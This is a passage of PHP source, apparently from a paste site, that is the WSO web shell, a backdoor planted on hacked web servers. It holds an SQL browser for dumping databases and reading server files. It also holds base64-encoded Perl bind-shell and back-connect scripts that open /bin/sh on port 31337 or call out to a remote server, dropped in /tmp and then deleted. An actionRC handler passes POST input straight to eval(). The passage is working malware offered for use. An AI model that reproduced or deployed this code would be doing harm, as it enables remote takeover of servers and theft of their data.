  1782.             return false;
  1783.         }
  1784.     };
  1785.     $db = new DbClass($_POST['type']);
  1786.     if(@$_POST['p2']=='download') {
  1787.         $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1788.         $db->selectdb($_POST['sql_base']);
  1789.         switch($_POST['charset']) {
  1790.             case "Windows-1251": $db->setCharset('cp1251'); break;
  1791.             case "UTF-8": $db->setCharset('utf8'); break;
  1792.             case "KOI8-R": $db->setCharset('koi8r'); break;
  1793.             case "KOI8-U": $db->setCharset('koi8u'); break;
  1794.             case "cp866": $db->setCharset('cp866'); break;
  1795.         }
  1796.         if(empty($_POST['file'])) {
  1797.             ob_start("ob_gzhandler", 4096);
  1798.             header("Content-Disposition: attachment; filename=dump.sql");
  1799.             header("Content-Type: text/plain");
  1800.             foreach($_POST['tbl'] as $v)
  1801.                 $db->dump($v);
  1802.             exit;
  1803.         } elseif($fp = @fopen($_POST['file'], 'w')) {
  1804.             foreach($_POST['tbl'] as $v)
  1805.                 $db->dump($v, $fp);
  1806.             fclose($fp);
  1807.             unset($_POST['p2']);
  1808.         } else
  1809.             die('<script>alert("Error! Can't open file");window.history.back(-1)</script>');
  1810.     }
  1811.     wsoHeader();
  1812.     echo "
  1813.  
  1814. <h1>Sql browser</h1><div class=content>
  1815. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1816. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1817. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1818. <td><select name='type'><option value='mysql' ";
  1819.     if(@$_POST['type']=='mysql')echo 'selected';
  1820. echo ">MySql</option><option value='pgsql' ";
  1821. if(@$_POST['type']=='pgsql')echo 'selected';
  1822. echo ">PostgreSql</option></select></td>
  1823. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1824. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1825. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1826.     $tmp = "<input type=text name=sql_base value=''>";
  1827.     if(isset($_POST['sql_host'])){
  1828.         if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1829.             switch($_POST['charset']) {
  1830.                 case "Windows-1251": $db->setCharset('cp1251'); break;
  1831.                 case "UTF-8": $db->setCharset('utf8'); break;
  1832.                 case "KOI8-R": $db->setCharset('koi8r'); break;
  1833.                 case "KOI8-U": $db->setCharset('koi8u'); break;
  1834.                 case "cp866": $db->setCharset('cp866'); break;
  1835.             }
  1836.             $db->listDbs();
  1837.             echo "<select name=sql_base><option value=''></option>";
  1838.             while($item = $db->fetch()) {
  1839.                 list($key, $value) = each($item);
  1840.                 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1841.             }
  1842.             echo '</select>';
  1843.         }
  1844.         else echo $tmp;
  1845.     }else
  1846.         echo $tmp;
  1847.     echo "</td>
  1848.  
  1849.                 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1850.                 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1851.             </tr>
  1852.         </table>
  1853.         <script>
  1854.             s_db='".@addslashes($_POST['sql_base'])."';
  1855.             function fs(f) {
  1856.                 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1857.                     if(f.p1) f.p1.value='';
  1858.                     if(f.p2) f.p2.value='';
  1859.                     if(f.p3) f.p3.value='';
  1860.                 }
  1861.             }
  1862.             function st(t,l) {
  1863.                 d.sf.p1.value = 'select';
  1864.                 d.sf.p2.value = t;
  1865.                 if(l && d.sf.p3) d.sf.p3.value = l;
  1866.                 d.sf.submit();
  1867.             }
  1868.             function is() {
  1869.                 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1870.                     d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1871.             }
  1872.         </script>";
  1873.     if(isset($db) && $db->link){
  1874.         echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1875.             if(!empty($_POST['sql_base'])){
  1876.                 $db->selectdb($_POST['sql_base']);
  1877.                 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1878.                 $tbls_res = $db->listTables();
  1879.                 while($item = $db->fetch($tbls_res)) {
  1880.                     list($key, $value) = each($item);
  1881.                     if(!empty($_POST['sql_count']))
  1882.                         $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1883.                     $value = htmlspecialchars($value);
  1884.                     echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick="st('".$value."',1)">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1885.                 }
  1886.                 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value="download";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1887.                 if(@$_POST['p1'] == 'select') {
  1888.                     $_POST['p1'] = 'query';
  1889.                     $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1890.                     $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1891.                     $num = $db->fetch();
  1892.                     $pages = ceil($num['n'] / 30);
  1893.                     echo "<script>d.sf.onsubmit=function(){st("" . $_POST['p2'] . "", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1894.                     echo " of $pages";
  1895.                     if($_POST['p3'] > 1)
  1896.                         echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1897.                     if($_POST['p3'] < $pages)
  1898.                         echo " <a href=# onclick='st("" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1899.                     $_POST['p3']--;
  1900.                     if($_POST['type']=='pgsql')
  1901.                         $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1902.                     else
  1903.                         $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1904.                     echo "<br><br>";
  1905.                 }
  1906.                 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1907.                     $db->query(@$_POST['p2']);
  1908.                     if($db->res !== false) {
  1909.                         $title = false;
  1910.                         echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1911.                         $line = 1;
  1912.                         while($item = $db->fetch())    {
  1913.                             if(!$title)    {
  1914.                                 echo '<tr>';
  1915.                                 foreach($item as $key => $value)
  1916.                                     echo '<th>'.$key.'</th>';
  1917.                                 reset($item);
  1918.                                 $title=true;
  1919.                                 echo '</tr><tr>';
  1920.                                 $line = 2;
  1921.                             }
  1922.                             echo '<tr class="l'.$line.'">';
  1923.                             $line = $line==1?2:1;
  1924.                             foreach($item as $key => $value) {
  1925.                                 if($value == null)
  1926.                                     echo '<td><i>null</i></td>';
  1927.                                 else
  1928.                                     echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1929.                             }
  1930.                             echo '</tr>';
  1931.                         }
  1932.                         echo '</table>';
  1933.                     } else {
  1934.                         echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1935.                     }
  1936.                 }
  1937.                 echo "<br></form><form onsubmit='d.sf.p1.value="query";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1938.                 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1939.                     echo htmlspecialchars($_POST['p2']);
  1940.                 echo "</textarea><br/><input type=submit value='Execute'>";
  1941.                 echo "</td></tr>";
  1942.             }
  1943.             echo "</table></form><br/>";
  1944.             if($_POST['type']=='mysql') {
  1945.                 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1946.                 if($db->fetch())
  1947.                     echo "<form onsubmit='d.sf.p1.value="loadfile";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1948.             }
  1949.             if(@$_POST['p1'] == 'loadfile') {
  1950.                 $file = $db->loadFile($_POST['p2']);
  1951.                 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1952.             }
  1953.     } else {
  1954.         echo htmlspecialchars($db->error());
  1955.     }
  1956.     echo '</div>';
  1957.     wsoFooter();
  1958. }
  1959. function actionNetwork() {
  1960.     wsoHeader();
  1961.     $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1962.     $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1963.     echo "<h1>Network tools</h1><div class=content>
  1964.  
  1965.     <form name='nfp' onSubmit="g(null,null,'bpp',this.port.value);return false;">
  1966.     <span>Bind port to /bin/sh [perl]</span><br/>
  1967.     Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1968.     </form>
  1969.     <form name='nfp' onSubmit="g(null,null,'bcp',this.server.value,this.port.value);return false;">
  1970.     <span>Back-connect  [perl]</span><br/>
  1971.     Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1972.  
  1973.     </form><br>";
  1974.     if(isset($_POST['p1'])) {
  1975.         function cf($f,$t) {
  1976.             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1977.             if($w){
  1978.                 @fwrite($w,@base64_decode($t));
  1979.                 @fclose($w);
  1980.             }
  1981.         }
  1982.         if($_POST['p1'] == 'bpp') {
  1983.             cf("/tmp/bp.pl",$bind_port_p);
  1984.             $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1985.             echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bp.pl")."</pre>";
  1986.             unlink("/tmp/bp.pl");
  1987.         }
  1988.         if($_POST['p1'] == 'bcp') {
  1989.             cf("/tmp/bc.pl",$back_connect_p);
  1990.             $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1991.             echo "<pre class=ml1>$outn".wsoEx("ps aux | grep bc.pl")."</pre>";
  1992.             unlink("/tmp/bc.pl");
  1993.         }
  1994.     }
  1995.     echo '</div>';
  1996.     wsoFooter();
  1997. }
  1998. function actionRC() {
  1999.     if(!@$_POST['p1']) {
  2000.         $a = array(
  2001.             "uname" => php_uname(),
  2002.             "php_version" => phpversion(),
  2003.             "wso_version" => WSO_VERSION,
  2004.             "safemode" => @ini_get('safe_mode')
  2005.         );
  2006.         echo serialize($a);
  2007.     } else {
  2008.         eval($_POST['p1']);
  2009.     }
  2010. }
  2011. if( empty($_POST['a']) )
  2012.     if(isset($default_action) && function_exists('action' . $default_action))
  2013.         $_POST['a'] = $default_action;
  2014.     else
  2015.         $_POST['a'] = 'SecInfo';
  2016. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  2017.     call_user_func('action' . $_POST['a']);
  2018. function FetchURL($url) {
  2019.          $ch = curl_init();
  2020.          curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
  2021.          curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2022.          curl_setopt($ch, CURLOPT_HEADER, false);
  2023.          curl_setopt($ch, CURLOPT_URL, $url);
  2024.          curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2025.          curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  2026.          $data = curl_exec($ch);
  2027.          if(!$data) {
  2028.             return false;
  2029.          }
  2030.          return $data;
  2031.       }
  2032. exit;
  2033. ?>

Reply to "Untitled"

Here you can reply to the paste above